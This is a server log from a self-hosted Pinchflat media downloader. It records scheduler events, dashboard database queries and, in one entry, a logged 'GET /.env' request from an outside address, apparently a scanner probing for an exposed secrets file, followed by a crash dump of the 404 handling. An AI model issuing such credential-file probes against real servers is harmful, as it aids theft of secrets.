{"source":"oban","duration":538,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:20:13.510 [info] {"source":"oban","duration":2481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:20:43.514 [info] {"source":"oban","duration":3042,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:21:00.239 [info] {"source":"oban","duration":4354,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:21:13.516 [info] {"source":"oban","duration":862,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:21:43.522 [info] {"source":"oban","duration":4903,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:22:00.257 [info] {"source":"oban","duration":15651,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:22:13.524 [info] {"source":"oban","duration":1578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:22:43.527 [info] {"source":"oban","duration":2261,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:23:00.262 [info] {"source":"oban","duration":2523,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:23:13.529 [info] {"source":"oban","duration":1474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:23:43.533 [info] {"source":"oban","duration":2897,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:24:00.264 [info] {"source":"oban","duration":598,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:24:13.539 [info] {"source":"oban","duration":3199,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:24:36.574 [info] GET / 04:24:36.581 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 04:24:36.632 [debug] QUERY OK source="settings" db=34.6ms queue=1.4ms idle=1944.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:24:36.662 [debug] QUERY OK source="media_profiles" db=15.2ms queue=0.1ms idle=1998.7ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 04:24:36.675 [debug] QUERY OK source="sources" db=11.1ms queue=0.3ms idle=1016.4ms SELECT count(s0."id") FROM "sources" AS s0 [] 04:24:37.361 [debug] QUERY OK source="media_items" db=685.3ms idle=331.7ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:24:37.458 [debug] QUERY OK source="media_items" db=92.7ms queue=1.0ms idle=716.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:24:37.505 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=842.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:24:37.513 [debug] QUERY OK source="settings" db=6.0ms queue=0.2ms idle=831.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:24:37.534 [debug] QUERY OK source="settings" db=1.2ms queue=0.1ms idle=171.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:24:37.572 [debug] QUERY OK source="tasks" db=0.6ms idle=209.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 04:24:37.609 [debug] QUERY OK source="media_items" db=17.9ms queue=0.1ms idle=133.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:24:37.612 [debug] QUERY OK source="media_items" db=2.3ms queue=0.1ms idle=104.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 04:24:37.619 [debug] QUERY OK source="sources" db=1.5ms idle=104.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 04:24:37.647 [debug] QUERY OK source="media_items" db=2.3ms idle=110.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 04:24:37.662 [debug] QUERY OK source="media_items" db=13.6ms queue=0.1ms idle=76.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 04:24:37.671 [info] Sent 200 in 1098ms 04:24:43.541 [info] {"source":"oban","duration":1051,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:25:00.273 [info] {"source":"oban","duration":7590,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:25:13.543 [info] {"source":"oban","duration":949,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:25:43.545 [info] {"source":"oban","duration":770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:26:00.275 [info] {"source":"oban","duration":445,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:26:13.548 [info] {"source":"oban","duration":2263,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:26:43.550 [info] {"source":"oban","duration":1339,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:27:00.276 [info] {"source":"oban","duration":347,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:27:13.552 [info] {"source":"oban","duration":977,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:27:43.554 [info] {"source":"oban","duration":1059,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:28:00.283 [info] {"source":"oban","duration":5574,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:28:13.556 [info] {"source":"oban","duration":843,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:28:43.558 [info] {"source":"oban","duration":1185,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:29:00.292 [info] {"source":"oban","duration":7132,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:29:13.561 [info] {"source":"oban","duration":1834,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:29:43.563 [info] {"source":"oban","duration":961,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:30:00.297 [info] {"source":"oban","duration":3903,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:30:13.568 [info] {"source":"oban","duration":2805,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:30:33.684 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 04:30:43.570 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:31:00.301 [info] {"source":"oban","duration":2373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:31:13.574 [info] {"source":"oban","duration":2187,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:31:43.575 [info] {"source":"oban","duration":1212,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:32:00.310 [info] {"source":"oban","duration":7714,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:32:13.577 [info] {"source":"oban","duration":859,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:32:43.579 [info] {"source":"oban","duration":949,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:33:00.314 [info] {"source":"oban","duration":3031,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:33:13.581 [info] {"source":"oban","duration":871,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:33:43.583 [info] {"source":"oban","duration":1105,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:34:00.322 [info] {"source":"oban","duration":5188,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:34:13.585 [info] {"source":"oban","duration":943,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:34:43.588 [info] {"source":"oban","duration":2254,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:35:00.330 [info] {"source":"oban","duration":5513,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:35:13.590 [info] {"source":"oban","duration":889,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:35:43.592 [info] {"source":"oban","duration":813,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:36:00.335 [info] {"source":"oban","duration":3824,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:36:13.594 [info] {"source":"oban","duration":1320,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:36:43.596 [info] {"source":"oban","duration":916,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:37:00.345 [info] {"source":"oban","duration":7153,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:37:13.598 [info] {"source":"oban","duration":979,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:37:43.600 [info] {"source":"oban","duration":1153,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:38:00.355 [info] {"source":"oban","duration":9257,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:38:13.602 [info] {"source":"oban","duration":1311,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:38:43.606 [info] {"source":"oban","duration":3375,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:39:00.361 [info] {"source":"oban","duration":4777,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:39:13.609 [info] {"source":"oban","duration":2095,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:39:33.729 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 04:39:43.611 [info] {"source":"oban","duration":920,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:40:00.364 [info] {"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:40:13.613 [info] {"source":"oban","duration":960,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:40:43.615 [info] {"source":"oban","duration":886,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:41:00.365 [info] {"source":"oban","duration":322,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:41:13.621 [info] {"source":"oban","duration":4021,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:41:43.623 [info] {"source":"oban","duration":1372,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:42:00.369 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:42:13.625 [info] {"source":"oban","duration":1305,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:42:43.627 [info] {"source":"oban","duration":1415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:43:00.373 [info] {"source":"oban","duration":2866,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:43:13.629 [info] {"source":"oban","duration":1033,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:43:43.631 [info] {"source":"oban","duration":918,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:44:00.376 [info] {"source":"oban","duration":1770,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:44:13.633 [info] {"source":"oban","duration":929,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:44:43.635 [info] {"source":"oban","duration":1531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:45:00.381 [info] {"source":"oban","duration":2000,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:45:13.637 [info] {"source":"oban","duration":1363,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:45:43.639 [info] {"source":"oban","duration":969,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:46:00.387 [info] {"source":"oban","duration":4718,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:46:13.642 [info] {"source":"oban","duration":1962,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:46:43.644 [info] {"source":"oban","duration":864,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:47:00.391 [info] {"source":"oban","duration":992,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:47:13.646 [info] {"source":"oban","duration":979,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:47:43.648 [info] {"source":"oban","duration":1091,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:48:00.396 [info] {"source":"oban","duration":3455,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:48:10.756 [info] GET /.env 04:48:10.786 [debug] QUERY OK source="settings" db=1.8ms queue=0.1ms idle=1018.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:48:10.811 [debug] QUERY OK source="settings" db=23.3ms idle=123.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:48:10.819 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:48:10.823 [error] #PID<0.14015.0> running PinchflatWeb.Endpoint (connection #PID<0.14014.0>, stream id 1) terminated Server: rutube.spluft.ru:80 (http) Request: GET /.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.14014.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 23479}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "rutube.spluft.ru", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36", "via" => "1.1 Caddy", "x-forwarded-for" => "45.82.13.170", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.14015.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"host", "rutube.spluft.ru"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "45.82.13.170"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH-3dLBgaVrZhCYAAEgE"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.14014.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 23479}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "rutube.spluft.ru", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36", "via" => "1.1 Caddy", "x-forwarded-for" => "45.82.13.170", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.14014.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 23479}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "rutube.spluft.ru", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36", "via" => "1.1 Caddy", "x-forwarded-for" => "45.82.13.170", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.14015.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"host", "rutube.spluft.ru"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "45.82.13.170"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH-3dLBgaVrZhCYAAEgE"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, (truncated) 04:48:13.650 [info] {"source":"oban","duration":1524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:48:43.652 [info] {"source":"oban","duration":957,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:49:00.397 [info] {"source":"oban","duration":522,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:49:13.654 [info] {"source":"oban","duration":1027,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:49:43.658 [info] {"source":"oban","duration":3522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:50:00.411 [info] {"source":"oban","duration":10377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:50:13.662 [info] {"source":"oban","duration":3269,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:50:43.665 [info] {"source":"oban","duration":2175,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:51:00.417 [info] {"source":"oban","duration":4550,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:51:13.667 [info] {"source":"oban","duration":1436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:51:43.672 [info] {"source":"oban","duration":3984,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:52:00.422 [info] {"source":"oban","duration":2915,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:52:13.674 [info] {"source":"oban","duration":1059,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:52:43.677 [info] {"source":"oban","duration":1651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:53:00.444 [info] {"source":"oban","duration":17059,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:53:13.679 [info] {"source":"oban","duration":970,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:53:43.721 [info] {"source":"oban","duration":41604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:54:00.558 [info] {"source":"oban","duration":3930,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:54:13.723 [info] {"source":"oban","duration":892,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:54:43.725 [info] {"source":"oban","duration":905,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:55:00.559 [info] {"source":"oban","duration":314,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:55:13.727 [info] {"source":"oban","duration":885,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:55:43.729 [info] {"source":"oban","duration":816,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:56:00.564 [info] {"source":"oban","duration":3540,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:56:13.731 [info] {"source":"oban","duration":1260,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:56:43.736 [info] {"source":"oban","duration":3809,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:57:00.565 [info] 